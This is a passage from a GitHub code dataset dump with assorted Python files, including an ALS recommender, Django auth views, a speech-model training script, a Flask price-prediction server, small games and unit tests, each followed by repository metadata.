None\n","repo_name":"liangweile1994/wechat","sub_path":"WeChatShop/Shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8049692475","text":"from mysite.titanic.views.controller import Controller\nfrom mysite.titanic.templates.plot import Plot\n\nif __name__ == '__main__':\n    api = Controller()\n    while 1:\n        menu = input('0-종료 1-데이터 시각화 2-데이터 모델링 3-머신러닝 4-배포')\n        if menu == '0':\n            break\n        elif menu =='1':\n            plot = Plot('train.csv')\n            '''\n            Train의 데이터 타입은 is <class 'pandas.core.frame.DataFrame'>.\n            Train의 컬럼은 'PassengerId', 'Survived', 'Pclass', 'Name', 'Sex', 'Age', 'SibSp',\n                            'Parch', 'Ticket', 'Fare', 'Cabin', 'Embarked'이다.\n            '''\n            plot.draw_survived_dead()\n            plot.draw_pclass()\n            plot.draw_sex()\n            plot.draw_embarked()\n\n        elif menu == '2':\n            df = api.modeling('train.csv','test.csv')  # 전처리\n\n        elif menu == '3':\n            df = api.learning('train.csv','test.csv') # 머신러닝, 사이킷런\n\n        elif menu == '4':\n            df = api.submit('train.csv','test.csv')\n\n        else:\n            continue\n","repo_name":"parkjungkwan/mecca-django-titanic","sub_path":"mysite/titanic/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"5074929141","text":"import numpy as np\nfrom scipy import sparse as sparse\nimport scipy.linalg as sla\n\nfrom recommender_systems.models.abstract import EmbeddingsARS\n\n\nclass AlternatingLeastSquaresModel(EmbeddingsARS):\n    \"\"\"\n    A model based only on the ratings.\n\n    Realization\n    -----------\n    The model is trained due to the features of the functional. When fixing one of the matrices (for users or items),\n    the functional becomes convex and can be found analytically.\n    \"\"\"\n\n    def __init__(self, dimension: int) -> None:\n        \"\"\"\n        Parameters\n        ----------\n        dimension: int\n            The number of singular values to keep\n        \"\"\"\n\n        super().__init__(dimension)\n\n    def _calculate_users_matrix(self) -> None:\n        \"\"\"\n        Method for finding a matrix for users analytically\n        \"\"\"\n\n        quotient_matrix = self._items_matrix.T.dot(self._items_matrix)\n        try:\n            cho_decomposition = sla.cho_factor(quotient_matrix)\n            for index in range(self._users_matrix.shape[0]):\n                self._users_matrix[index, :] = sla.cho_solve(cho_decomposition, self._items_matrix.T.dot(self._data.getrow(index).todense().T)).flatten()\n        except (np.linalg.LinAlgError, sla.LinAlgError):\n            pinv_result = np.linalg.pinv(quotient_matrix)\n            for index in range(self._users_matrix.shape[0]):\n                self._users_matrix[index, :] = pinv_result.dot(self._items_matrix.T.dot(self._data.getrow(index).todense().T)).flatten()\n\n    def _calculate_items_matrix(self) -> None:\n        \"\"\"\n        Method for finding a matrix for items analytically\n        \"\"\"\n\n        quotient_matrix = self._users_matrix.T.dot(self._users_matrix)\n        try:\n            cho_decomposition = sla.cho_factor(quotient_matrix)\n            for index in range(self._items_matrix.shape[0]):\n                self._items_matrix[index, :] = sla.cho_solve(cho_decomposition, self._users_matrix.T.dot(self._data.getcol(index).todense())).flatten()\n        except (np.linalg.LinAlgError, sla.LinAlgError):\n            pinv_result = np.linalg.pinv(quotient_matrix)\n            for index in range(self._users_matrix.shape[0]):\n                self._users_matrix[index, :] = pinv_result.dot(self._items_matrix.T.dot(self._data.getrow(index).todense().T)).flatten()\n\n    def _before_fit(self, data: sparse.coo_matrix) -> None:\n        self._data = data\n\n    def _train_one_epoch(self) -> None:\n        # calculate matrices for users and items analytically\n        self._calculate_users_matrix()\n        self._calculate_items_matrix()\n\n    def __str__(self) -> str:\n        return f'ALS [dimension = {self._dimension}]'\n","repo_name":"nov-stacy/Recommender-System-Library","sub_path":"recommender_system_library/recommender_systems/models/latent_factor_models/_als.py","file_name":"_als.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"692265515","text":"from django.conf import settings\nfrom django.contrib.auth.tokens import default_token_generator\nfrom django.core.mail import send_mail\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework import status, viewsets\nfrom rest_framework.decorators import action, api_view, permission_classes\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework_simplejwt.tokens import RefreshToken\n\nfrom .models import User\nfrom .permissions import IsAdmin\nfrom .serializers import (ConfirmationCodeSerializer, UserEmailSerializer,\n                          UserSerializer)\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef get_confirmation_code(request):\n    serializer = UserEmailSerializer(data={\n        'email': request.query_params['email']}\n    )\n    if serializer.is_valid(raise_exception=True):\n        email = serializer.validated_data.get('email')\n        username = email.split('@')[0]\n        user, created = User.objects.get_or_create(\n            username=username,\n            email=email\n        )\n        code = default_token_generator.make_token(user)\n        send_mail(\n            subject='Your YaMDb confirmation code',\n            message=f'\"confirmation_code\": \"{code}\"',\n            from_email=settings.DEFAULT_FROM_EMAIL,\n            recipient_list=[email],\n            fail_silently=True\n        )\n        return Response(data={'email': email}, status=status.HTTP_200_OK)\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef get_token(request):\n    serializer = ConfirmationCodeSerializer(data={\n        'email': request.query_params['email'],\n        'confirmation_code': request.query_params['confirmation_code']}\n    )\n    if serializer.is_valid(raise_exception=True):\n        email = serializer.validated_data.get('email')\n        confirmation_code = serializer.validated_data.get('confirmation_code')\n        user = get_object_or_404(User, email=email)\n        if default_token_generator.check_token(user, confirmation_code):\n            refresh = RefreshToken.for_user(user)\n            return Response({'access': str(refresh.access_token)},\n                            status=status.HTTP_200_OK)\n        return Response({'confirmation_code': 'Неверный код подтверждения'},\n                        status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n    queryset = User.objects.all()\n    serializer_class = UserSerializer\n    permission_classes = [IsAdmin]\n    lookup_field = 'username'\n\n    @action(detail=False, methods=['get', 'patch'],\n            permission_classes=[IsAuthenticated])\n    def me(self, request):\n        user = request.user\n        if request.method == 'GET':\n            serializer = self.get_serializer(user)\n            return Response(serializer.data, status=status.HTTP_200_OK)\n        serializer = self.get_serializer(user, data=request.data, partial=True)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n","repo_name":"MigAru/api_yamdb","sub_path":"microservices/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73547946170","text":"import unittest,json\nfrom jsonpath import jsonpath\nfrom Common.handle_log import logger\nfrom Common.handle_requests import send_requests\nfrom Common.handle_data import clear_EnvData_atts,EnvData,pwd_md5,replace_case_by_regular,replace_data\nfrom Common.handle_config import conf\nfrom Common.myddt import ddt,data\nfrom Common.handle_excel import HandleExcel\nfrom Common.handle_path import datas_dir\n\nget_excel = HandleExcel(datas_dir+\"\\\\overseas_datas.xlsx\", \"官网下单\")\ncases = get_excel.read_all_datas()\nget_excel.close_file()\nprint(cases)\n\n@ddt\nclass TestOrderWeb(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls) -> None:\n        logger.info(\"**********************************登录前置*********************************\")\n        clear_EnvData_atts()\n        login_data = {\"user_name\": conf.get(\"data\", \"user_name\"), \"password\": pwd_md5(conf.get(\"data\", \"password\"))}\n        resp = send_requests(\"POST\", \"/v1/webPay/login\", login_data )\n        setattr(EnvData, \"access_token\", jsonpath(resp.json(), \"$..access_token\")[0])  # 注意转换成字符串\n        setattr(EnvData, \"user_id\", jsonpath(resp.json(), \"$..user_id\")[0])\n\n\n    @classmethod\n    def tearDown(cls) -> None:\n        logger.info(\"*****************************下单用例结束******************************\")\n\n    @data(*cases)\n    def test_order_web(self,case):\n        logger.info(\"***************执行第{}条用例：{}*********************\".format(case[\"case_id\"], case[\"title\"]))\n        case = replace_case_by_regular(case)\n        resp = send_requests(case[\"method\"], case[\"url\"], case[\"request_data\"])  # Excel当中的请求数据读取出来是字符串，要转换成字典\n        if case[\"expected\"]:\n            expected = eval(case[\"expected\"])\n            logger.info(\"用例的期望结果为：{}\".format(expected))\n        expected = eval(case[\"expected\"])\n        try:\n            self.assertEqual(resp.json()[\"ret\"], expected[\"ret\"])\n            self.assertEqual(resp.json()[\"msg\"], expected[\"msg\"])\n        except AssertionError as e:\n            logger.exception(\"断言失败!\")\n            raise e\n\n\n\n\n\n\n\n","repo_name":"tylhhh/API_Overseas","sub_path":"TestCases/website/test_order_website.py","file_name":"test_order_website.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5327619597","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\nimport os\nimport pickle\nimport sys\nfrom theano import tensor as T\nfrom collections import namedtuple\n\nfrom libs.hyperlstm_utils import add_params, get_arg_parser, get_save_path\nfrom libs.lasagne_libs.utils import set_model_param_value\n\nfrom lasagne.layers import get_all_params, count_params, get_output\nfrom libs.lasagne_libs.updates import momentum, adam\n\nfrom libs.comp_graph_utils import trainer, predictor, eval_net\nfrom libs.utils import save_network, save_eval_history, best_fer, show_status\nfrom libs.utils import StopWatch, Rsync\nfrom libs.deep_hyperlstm_builder import build_deep_hyperlstm\n\nfrom data.wsj.fuel_utils import create_ivector_datastream\n\nif __name__ == '__main__':\n    parser = get_arg_parser()\n    args = parser.parse_args()\n\n    args.save_path = get_save_path(args)\n    \n    if not args.reload_model:\n        reload_path = args.save_path + '_last_model.pkl'\n\n        if os.path.exists(reload_path):\n            print('Previously trained model detected: {}'.format(reload_path))\n            print('Training continues')\n            args.reload_model = reload_path\n\n    print(args)\n\n    sw = StopWatch()\n       \n    print('Loading data streams from {}'.format(args.data_path))\n    if not args.no_copy:\n        print('Copying data to local machine...')\n        rsync = Rsync(args.tmpdir)\n        rsync.sync(args.data_path)\n        args.data_path = os.path.join(args.tmpdir, os.path.basename(args.data_path))\n        sw.print_elapsed()\n    \n    datasets = [args.train_dataset, args.valid_dataset, args.test_dataset]\n    train_ds, valid_ds, test_ds = [create_ivector_datastream(path=args.data_path, which_set=dataset, \n        batch_size=args.batch_size) for dataset in datasets]\n    \n    print('Building and compiling network')\n    input_data = T.ftensor3('input_data')\n    input_mask = T.fmatrix('input_mask')\n    ivector_data = None\n    if args.use_ivector_input:\n        ivector_data = T.ftensor3('ivector_data')\n    target_data = T.imatrix('target_data')\n    target_mask = T.fmatrix('target_mask')    \n\n\n    network = build_deep_hyperlstm(args.layer_name, input_var=input_data,\n                             mask_var=input_mask,\n                             input_dim=args.input_dim,\n                             num_layers=args.num_layers,\n                             num_units=args.num_nodes,\n                             num_hyper_units=args.num_hyper_nodes,\n                             num_proj_units=args.num_proj_nodes,\n                             output_dim=args.output_dim,\n                             grad_clipping=args.grad_clipping,\n                             is_bidir=not args.unidirectional, \n                             ivector_dim=args.ivector_dim, \n                             ivector_var=ivector_data,)\n\n    network_params = get_all_params(network, trainable=True)\n    param_count = count_params(network, trainable=True)\n    print('Number of parameters of the network: {:.2f}M'.format(float(param_count)/1000000))\n\n    EvalRecord = namedtuple('EvalRecord', ['train_ce_frame', 'valid_ce_frame', 'valid_fer', 'test_ce_frame', 'test_fer'])\n\n    if args.reload_model:\n        print('Loading model: {}'.format(args.reload_model))\n        with open(args.reload_model, 'rb') as f:\n            pretrain_network_params_val,  pretrain_update_params_val, \\\n                    pretrain_total_epoch_cnt = pickle.load(f)\n\n        set_model_param_value(network_params, pretrain_network_params_val)\n    else:\n        pretrain_update_params_val = None\n        pretrain_total_epoch_cnt = 0\n    \n    eval_history =[EvalRecord(10.1, 10.0, 1.0, 10.0, 1.0)]\n\n    print('Building trainer')\n    sw.reset()\n\n    training_fn, trainer_params = trainer(\n              input_data=input_data,\n              input_mask=input_mask,\n              target_data=target_data,\n              target_mask=target_mask,\n              network=network,\n              updater=adam,\n              learning_rate=args.learn_rate,\n              load_updater_params=pretrain_update_params_val,\n              ivector_data=ivector_data)\n\n\n    sw.print_elapsed()\n\n    print('Building predictor')\n    sw.reset()\n    predict_fn = predictor(input_data=input_data,\n                                       input_mask=input_mask,\n                                       target_data=target_data,\n                                       target_mask=target_mask,\n                                       network=network,\n                                       ivector_data=ivector_data)\n\n    sw.print_elapsed()\n    print('Starting')\n\n    # e_idx starts from 1\n    for e_idx in range(1, args.num_epochs+1):\n        if e_idx <= pretrain_total_epoch_cnt:\n            print('Skipping Epoch {}'.format(e_idx))\n            continue\n\n        epoch_sw = StopWatch()\n        print('--')\n        print('Epoch {} starts'.format(e_idx))\n        print('--')\n        \n        train_ce_frame_sum = 0.0\n        status_sw = StopWatch()\n        for b_idx, data in enumerate(train_ds.get_epoch_iterator(), start=1):\n            input_data, input_mask, ivector_data, ivector_mask, target_data, target_mask = data\n            if args.use_ivector_input or args.use_ivector_model:\n                train_output = training_fn(input_data,\n                                           input_mask,\n                                           ivector_data,\n                                           target_data,\n                                           target_mask)\n            else:\n                train_output = training_fn(input_data,\n                                           input_mask,\n                                           target_data,\n                                           target_mask)\n\n\n            ce_frame, network_grads_norm = train_output\n\n            if b_idx%args.train_disp_freq == 0: \n                show_status(args.save_path, ce_frame, network_grads_norm, b_idx, args.batch_size, e_idx)\n                status_sw.print_elapsed(); status_sw.reset()\n            \n            train_ce_frame_sum += ce_frame\n\n        print('End of Epoch {}'.format(e_idx))\n        epoch_sw.print_elapsed()\n\n        print('Saving the network')\n        save_network(network_params, trainer_params, e_idx, args.save_path + '_last_model.pkl')\n\n        print('Evaluating the network on the validation dataset')\n        eval_sw = StopWatch()\n        use_ivectors = args.use_ivector_input or args.use_ivector_model\n        #train_ce_frame, train_fer = eval_net(predict_fn, train_ds, use_ivectors)\n        valid_ce_frame, valid_fer = eval_net(predict_fn, valid_ds, use_ivectors)\n        test_ce_frame, test_fer = eval_net(predict_fn, test_ds, use_ivectors)\n        eval_sw.print_elapsed()\n\n        print('Train CE: {}'.format(train_ce_frame_sum / b_idx))\n        print('Valid CE: {}, FER: {}'.format(valid_ce_frame, valid_fer))\n        print('Test  CE: {}, FER: {}'.format(test_ce_frame, test_fer))\n       \n        if valid_fer<best_fer(eval_history):\n            save_network(network_params, trainer_params, e_idx, '{}_best_model.pkl'.format(args.save_path)) \n        \n        print('Saving the evaluation history')\n        er = EvalRecord(train_ce_frame_sum / b_idx, valid_ce_frame, valid_fer, test_ce_frame, test_fer)\n        eval_history.append(er)\n        save_eval_history(eval_history, args.save_path + '_eval_history.pkl')\n\n        \n","repo_name":"gunkisu/asr","sub_path":"scripts/exp_deep_hyperlstm.py","file_name":"exp_deep_hyperlstm.py","file_ext":"py","file_size_in_byte":7357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"16392724899","text":"import random\nx=eval(input(\"scissor(0), rock(1), paper(2):\"))\ny=random.randint(0,3)\na=[\"scissor\",\"rock\",\"paper\"]\nprint(\"The computer is \",a[y],\".You are rock.\",end=\"\")\n\nif (x==0 and y==0) or (x==1 and y==1) or (x==2 and y==2):\n\tprint(\" It is a draw.\")\n\nelif (x==0 and y==1) or (x==1 and y==2) or (x==2 and y==0):\n\tprint(\" You loses.\")\nelse:\n\tprint(\" You won.\")\n","repo_name":"calmwalter/python_homework","sub_path":"homework2/4.17.py","file_name":"4.17.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25865853061","text":"#!/usr/bin/env python3\n\n\"\"\"\nDeploy a state's artifacts to the website.\n\nFor example:\n\n$ scripts/DEPLOY.py -s NC\n\nFor documentation, type:\n\n$ scripts/DEPLOY.py -h\n\n\"\"\"\n\nimport argparse\nfrom argparse import ArgumentParser, Namespace\n\nimport os\nimport fnmatch\nimport shutil\n\nfrom pg import *\n\n\ndef parse_args() -> Namespace:\n    parser: ArgumentParser = argparse.ArgumentParser(\n        description=\"Deploy a state's artifacts to the website.\"\n    )\n\n    parser.add_argument(\n        \"-s\",\n        \"--state\",\n        default=\"NC\",\n        help=\"The two-character state code (e.g., NC)\",\n        type=str,\n    )\n\n    parser.add_argument(\n        \"-v\", \"--verbose\", dest=\"verbose\", action=\"store_true\", help=\"Verbose mode\"\n    )\n\n    args: Namespace = parser.parse_args()\n    return args\n\n\ndef main() -> None:\n    \"\"\"Deploy a state's artifacts to the website.\n\n    Copy all files in the output_dir to the 'intermediate' directory. Then:\n\n    - Leave *.txt files in the 'intermediate' directory\n    - Move all the *.png files to the 'images' directory\n    - Leave all the *.json files in the 'intermediate' directory\n    - Move the summary.csv files to the 'site_data' directory\n    - Move the ratings.csv files to the 'site_data' directory\n    - Copy the baseline BAF.csv file to the 'data' directory\n    - Leave the remaining *.csv files in the 'intermediate' directory\n\n    \"\"\"\n\n    args: Namespace = parse_args()\n\n    xx: str = args.state\n    verbose: bool = args.verbose\n\n    #\n\n    output_dir: str = os.path.expanduser(\"~/Downloads\")\n    output_dir = os.path.join(FileSpec(output_dir).abs_path, xx)\n    if not os.path.isdir(output_dir):\n        print(f\"ERROR - Output directory not found: {output_dir}\")\n        exit(1)\n\n    deploy_root: str = os.path.expanduser(\"~/iCloud/dev/pg\")\n    deploy_root = FileSpec(deploy_root).abs_path\n    if not os.path.isdir(deploy_root):\n        print(f\"ERROR - Root deploy directory not found: {deploy_root}\")\n        exit(1)\n\n    # Define individual deploy paths\n\n    data: str = os.path.join(deploy_root, \"data\", xx)\n    site_data: str = os.path.join(deploy_root, \"docs\", \"_data\")\n    images: str = os.path.join(deploy_root, \"docs\", \"assets\", \"images\")\n    intermediate: str = os.path.join(deploy_root, \"intermediate\", xx)\n\n    print(f\"Deploying {xx} ...\")\n\n    # Copy all files to the 'intermediate' directory\n    shutil.copytree(output_dir, intermediate, dirs_exist_ok=True)\n\n    # Then move (or copy) files to the appropriate directories\n    for file in os.listdir(intermediate):\n        source: str = os.path.join(intermediate, file)\n        if fnmatch.fnmatch(file, \"*.png\"):\n            shutil.move(source, os.path.join(images, file))\n        elif fnmatch.fnmatch(file, \"*_summary.csv\"):\n            shutil.move(source, os.path.join(site_data, file))\n        elif fnmatch.fnmatch(file, \"*_ratings.csv\"):\n            shutil.move(source, os.path.join(site_data, file))\n        elif fnmatch.fnmatch(file, \"*Baseline.csv\"):\n            shutil.copy(source, os.path.join(data, file))\n        else:\n            pass  # Leave the file in the intermediate directory\n\n    print(\"... done!\\n\")\n    print()\n    print(\"Post-deployment checklist:\")\n    print(\"[ ] - Copy & paste the YAML fragment into the state.yml file.\")\n    print(\"[ ] - Change state.md layout from 'page' to 'state.\")\n    print(\"[ ] - Add qualitative analysis.\")\n    print()\n\n\nif __name__ == \"__main__\":\n    main()\n\n### END ###\n","repo_name":"alecramsay/pg","sub_path":"scripts/DEPLOY.py","file_name":"DEPLOY.py","file_ext":"py","file_size_in_byte":3426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"69994800889","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\nfrom app.db import postgres_sqls\n\nfrom .conftest import create_user, read_user, create_photo, create_shown_user, read_shown_user\n\nif TYPE_CHECKING:\n    from psycopg import Cursor\n\n\nclass TestUsers:\n    \"\"\"\n    Probably bug with psycopg3. Instead of setting birthdate to current year - value,\n    it's setting birthdate to current year - index of value (5 in that case)\n    See: https://github.com/psycopg/psycopg/issues/594#issue-1792154366\n    \"\"\"\n    # See docstring about -5 year\n    default_expected = {\n        'tg_user_id': 1,\n        'fullname': 'Test User',\n        'goal': 1,\n        'gender': 1,\n        'birthdate': (datetime.now() - relativedelta(years=5)).date(),\n        'country': None,\n        'city': None,\n        'comment': 'Hello, world!',\n    }\n\n    test_cls = postgres_sqls.Users\n\n    def test_create_user(self, cursor: Cursor, ):\n        assert read_user(user_id=1, cursor=cursor, ) is None\n        cursor.execute(self.test_cls.CREATE_USER, tuple(self.default_expected.values()))\n        result = read_user(user_id=1, cursor=cursor, )\n        assert result == self.default_expected\n\n    def test_upsert_user(self, cursor: Cursor, ):\n        create_user(cursor=cursor, )\n        new_params = expected = self.default_expected | {'fullname': 'New Test User'}\n        cursor.execute(self.test_cls.UPSERT_USER, tuple(new_params.values()) * 2)\n        result = read_user(user_id=1, cursor=cursor, )\n        result['birthdate'] = expected['birthdate']  # Just quickfix, some troubles with date in beta psycopg3\n        assert result == expected\n\n    def test_is_registered(self, cursor: Cursor, ):\n        create_user(cursor=cursor, )\n        cursor.execute(self.test_cls.IS_REGISTERED, (1,))\n        result = cursor.fetchone()\n        assert result is not None  # Just not None check cuz column not specified in the query\n\n    def test_read_user(self, cursor: Cursor, ):\n        create_user(cursor=cursor, )\n        expected = self.default_expected | {'age': 5}  # See cls docstring\n        del expected['tg_user_id']\n        del expected['birthdate']\n        cursor.execute(self.test_cls.READ_USER, (1,))\n        result = cursor.fetchone()\n        assert result == expected\n\n    def test_delete_user(self, cursor: Cursor, ):\n        create_user(cursor=cursor, )\n        cursor.execute(self.test_cls.DELETE_USER, (1,))\n        assert read_user(user_id=1, cursor=cursor, ) is None\n\n\nclass TestPhotos:\n\n    test_cls = postgres_sqls.Photos\n    photo = {\"tg_user_id\": 1, \"tg_photo_file_id\": \"foo\"}\n    default_expected = {'tg_photo_file_id': photo['tg_photo_file_id'], }\n\n    def test_create_photo(self, cursor, ):\n        result = create_photo(cursor=cursor, )\n        assert result == {'id': 1, }\n\n    def test_read_photos(self, cursor, ):\n        create_photo(cursor=cursor)\n        cursor.execute(self.test_cls.READ_PHOTOS, (self.photo[\"tg_user_id\"],))\n        result = cursor.fetchall()\n        assert result == [self.default_expected, ]\n\n    def test_delete_photo(self, cursor, ):\n        result = create_photo(cursor=cursor, )\n        cursor.execute(self.test_cls.DELETE_PHOTO, (result['id'],))\n        cursor.execute(self.test_cls.READ_PHOTOS, (self.photo[\"tg_user_id\"],))\n        result = cursor.fetchall()\n        assert result == []\n\n    def test_delete_user_photos(self, cursor, ):\n        create_photo(cursor=cursor, user_id=1, )  # Should be deleted\n        create_photo(cursor=cursor, user_id=2, )  # Should not be deleted\n        cursor.execute(self.test_cls.DELETE_USER_PHOTOS, (1,))\n        cursor.execute(self.test_cls.READ_PHOTOS, (1,))\n        result = cursor.fetchall()\n        assert result == []\n        cursor.execute(self.test_cls.READ_PHOTOS, (2,))\n        result = cursor.fetchall()\n        assert result == [self.default_expected, ]\n\n\nclass TestShownUsers:\n\n    test_cls = postgres_sqls.ShownUsers\n    shown_user = {\"tg_user_id\": 1, \"shown_id\": 2}\n    default_expected = {\"shown_id\": shown_user['shown_id']}\n\n    def test_create_shown_user(self, cursor, ):\n        create_shown_user(cursor=cursor, )\n        result = read_shown_user(cursor=cursor, user_id=1, )\n        assert result == self.default_expected\n\n    def test_create_shown_user_already_exists(self, cursor, ):\n        \"\"\"\n        Test that shown_time updated\n        Explicit commit after first 'create' call because PostgreSQL's 'CURRENT_TIMESTAMP'\n        function only gets evaluated once per transaction.\n        \"\"\"\n        create_shown_user(cursor, user_id=1, shown_id=2, )\n        first_result = read_shown_user(cursor=cursor, columns=('created_at',), )\n        cursor.connection.commit()  # Try to use time_sleep(0.1) if timestamp the same\n        create_shown_user(cursor, user_id=1, shown_id=2, )\n        second_result = read_shown_user(cursor=cursor, columns=('created_at',), )\n        assert second_result['created_at'] > first_result['created_at']\n\n\nclass TestSystem:\n\n    test_cls = postgres_sqls.System\n\n    def test_read_bots_ids(self, cursor, ):\n        create_user(cursor, user_id=1, comment='1', )\n        create_user(cursor, user_id=2, comment='bot', )\n        cursor.execute(self.test_cls.READ_BOTS_IDS, (\"bot\",))\n        result = cursor.fetchall()\n        assert result == [{'tg_user_id': 2}, ]\n\n    def test_read_all_users_ids(self, cursor, ):\n        create_user(cursor, user_id=1, comment='1', )\n        create_user(cursor, user_id=2, comment='2', )\n        cursor.execute(self.test_cls.READ_ALL_USERS_IDS)\n        result = cursor.fetchall()\n        assert result == [{'tg_user_id': 1}, {'tg_user_id': 2}, ]\n","repo_name":"david-shiko/rubik","sub_path":"tests/db/sqls/test_users.py","file_name":"test_users.py","file_ext":"py","file_size_in_byte":5685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"30000531054","text":"from django.urls import path\nfrom . import views\n\n# set the application namespace\n# https://docs.djangoproject.com/en/2.0/intro/tutorial03/\napp_name = 'blogs'\n\nurlpatterns = [\n    # ex: /\n    path('', views.IndexView.as_view(), name='index'),\n\n    path('racelist/<int:pk>/', views.DetailView.as_view(), name='detail'),\n\n  \n]\n","repo_name":"Lancers-itoh/rEVgrN","sub_path":"blogs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10604501255","text":"from flask import Flask, json, request, jsonify\nimport util\n\napp= Flask(__name__)\n\n@app.route('/get_location_names')\ndef get_location_names():\n    response= jsonify({\n        'locations': util.get_location_names()\n    }) \n    response.headers.add('Access-control-Allow-origin', '*')\n\n    return response\n\n@app.route('/predict_home_price', methods=['POST'])\ndef predict_home_price():\n    total_sqrt= float(request.form['total_sqft'])\n    location=request.form['location']\n    bhk=int(request.form['bhk'])\n    bath=int(request.form['bath'])\n\n    response=jsonify({\n        'estimated_price': util.get_estimated_price(location, total_sqrt, bhk, bath)\n    })\n\n    return response \n\nif __name__ == \"__main__\":\n    print(\"Starting Python Flask Server For Home Price Prediction...\")\n    util.get_saved_artifacts()\n    app.run()  ","repo_name":"arghanath007/Data-Science","sub_path":"Basics/Real Estate Price Prediction Project(Regression)/server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"8321621952","text":"def braccontroller(open, close):\n    open = list(reversed(open))\n    for i in open:\n        cmd = chars[int(open[i]) + 1:int(close[i])]\n        ans = conclude(''.join(cmd))\n        chars[int(open[i]):int(close[i]) + 1] = str(ans)\n\n\ndef divcontroller(divindex):\n    for i in divindex:\n        ans = int(chars[int(i) - 1]) / int(chars[int(1) + 1])\n        del chars[int(i) - 1:int(i) + 1]\n        chars.insert(int(i) - 1, ans)\n\n\ndef mulcontroller(mulindex):\n    for i in mulindex:\n        ans = int(chars[int(i) - 1]) * int(chars[int(1) + 1])\n        del chars[int(i) - 1:int(i) + 1]\n        chars.insert(int(i) - 1, ans)\n\n\ndef addcontroller(addindex):\n    for i in addindex:\n        ans = int(chars[int(i) - 1]) + int(chars[int(i) + 1])\n        del chars[int(i) - 1:int(i) + 1]\n        chars.insert(int(i) - 1, ans)\n\n\ndef subcontroller(subindex):\n    for i in subindex:\n        ans = int(chars[int(i) - 1]) - int(chars[int(1) + 1])\n        del chars[int(i) - 1:int(i) + 1]\n        chars.insert(int(i) - 1, ans)\n\n\nprint(\"Type your problem in this format :: 2+5-6+2\")\nquery = input(\"Calculator :: \")\nquery.replace(\" \", \"\")\nquery = str(query)\nchars = []\n\n\ndef conclude(q):\n    addopindex = []\n    subopindex = []\n    mulopindex = []\n    divopindex = []\n    bracopenindex = []\n    braccloseindex = []\n\n    for x in q:\n        chars.append(x)\n\n    for i in chars:\n        addopindex = [i for i, x in enumerate(chars) if x == \"+\"]\n        subopindex = [i for i, x in enumerate(chars) if x == \"-\"]\n        mulopindex = [i for i, x in enumerate(chars) if x == \"*\"]\n        divopindex = [i for i, x in enumerate(chars) if x == \"/\"]\n        bracopenindex = [i for i, x in enumerate(chars) if x == \"(\"]\n        braccloseindex = [i for i, x in enumerate(chars) if x == \")\"]\n\n    braccontroller(bracopenindex, braccloseindex)\n    divcontroller(divopindex)\n    mulcontroller(mulopindex)\n    addcontroller(addopindex)\n    subcontroller(subopindex)\n    return chars\n\n\nprint(conclude(query))\n","repo_name":"mathlabs/Mathlab1","sub_path":"mathlab-revision.py","file_name":"mathlab-revision.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"33352405444","text":"import unittest\n\nfrom pathlib import Path\n\nimport numpy as np\nimport os, tempfile\nimport dtcc_io as io\n\n\nclass TestGridField(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls):\n        cls.dem_raster = (\n            Path(__file__).parent / \"..\" / \"data\" / \"test_dem.tif\"\n        ).resolve()\n\n        cls.rgb_img = (Path(__file__).parent / \"..\" / \"data\" / \"14040.png\").resolve()\n\n    def test_load_dem(self):\n        dem = io.load_raster(self.dem_raster)\n        self.assertEqual(dem.width, 20)\n        self.assertEqual(dem.height, 40)\n        self.assertEqual(dem.channels, 1)\n\n    def test_load_image(self):\n        image = io.load_raster(self.rgb_img)\n        self.assertEqual(image.width, 228)\n        self.assertEqual(image.height, 230)\n        self.assertEqual(image.channels, 3)\n\n    def test_get_cell_size(self):\n        em = io.load_raster(self.dem_raster)\n        self.assertEqual(em.cell_size, (2.0, -2.0))\n\n    def test_get_cell_size_wld_file(self):\n        em = io.load_raster(self.rgb_img)\n        self.assertEqual(em.cell_size, (0.08, -0.08))\n\n    def test_write_elevation_model(self):\n        em = io.load_raster(self.dem_raster)\n        outfile = tempfile.NamedTemporaryFile(suffix=\".tif\", delete=False).name\n        em.save(outfile)\n        em = io.load_raster(outfile)\n        self.assertEqual(em.height, 40)\n        self.assertEqual(em.width, 20)\n        